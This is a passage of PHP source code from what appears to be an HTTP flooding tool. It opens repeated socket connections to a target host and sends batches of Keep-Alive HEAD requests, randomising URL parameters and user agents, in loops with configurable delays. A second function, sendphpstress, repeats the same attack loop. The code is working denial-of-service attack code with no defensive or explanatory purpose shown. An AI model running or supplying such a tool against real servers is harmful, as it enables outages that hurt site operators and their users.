//Most servers limit Keep-Alive sessions to 100 requests per connection
if ($max_requests_per_connection > 100) {
$max_requests_per_connection = 100;
}
if ($max_requests_per_connection < 1) {
$max_requests_per_connection = 1;
}
//Work out how many connections to make in order to fulfill the max_requests
$max_connections = ceil($max_requests / $max_requests_per_connection);
for ($c = 0; $c < $max_connections; $c++) {
//Stay within our max_connections limit
echo "Opening connection [" . ($c + 1) . "] to " . $target_url['host'] . "..";
@($attack_socket = fsockopen($target_url['host'], $target_url['port'], $errno, $errstr, 3));
if (!$attack_socket) {
echo "failed (" . $errstr . ")" . $lb;
} else {
echo "success" . $lb . "Sending requests: |";
for ($r = 0; $r < $max_requests_per_connection; $r++) {
//Stay within our max_requests_per_connection limit
$request = "HEAD " . str_replace("%rand%", quick_rand(), $request_url) . " HTTP/1.1\r\nHOST: " . $target_url['host'] . "\r\nUser-Agent: " . $useragent . "\r\nConnection: Keep-Alive\r\n\r\n";
@fwrite($attack_socket, $request);
echo ".";
usleep($delay_between_requests * 1000000);
//Delay between requests
}
echo "|" . $lb;
}
@fclose($attack_socket);
echo "Closed connection" . $lb;
usleep($delay_between_connections * 1000000);
}
function sendphpstress($target_url, $request_url, $mr, $mpc, $dbr, $dbc)
{
// max requests divided by max requests per connection
$max_connections = ceil($mr / $mpc);
echo "[!] To exit press control C or whatever TTY options are set to exit command line program\n\n\n";
// lets loop through connections
for ($c = 0; $c < $max_connections; $c++) {
echo "Opening connection [" . ($c + 1) . "] to " . $target_url['host'] . "..";
@($attack_socket = fsockopen($target_url['host'], $target_url['port'], $errno, $error, 3));
// cant open socket display fail
if (!$attack_socket) {
echo "failed (" . $error . ")" . "\n";
} else {
// Success lets send out connections
echo "success" . "\n" . "Sending requests: |";
//Stay within our max_requests_per_connection limit
for ($r = 0; $r < $mpc; $r++) {
// grab a ran user agent
$useragent = userAgentRand();
// build payload for attack
$request = "HEAD " . str_replace("%r%", quick_rand(), $request_url) . " HTTP/1.1\r\nHOST: " . $target_url['host'] . "\r\nUser-Agent: " . $useragent . "\r\nConnection: Keep-Alive\r\n\r\n";
// write socket and make connection
@fwrite($attack_socket, $request);
echo ".";
// Delay between requests 1 second requests
usleep($dbr * 1000000);
}
echo "|" . "\n";
}
@fclose($attack_socket);
echo "Closed connection" . "\n";
// amount of time to delay between connections
usleep($dbc * 1000000);
}
return True;
}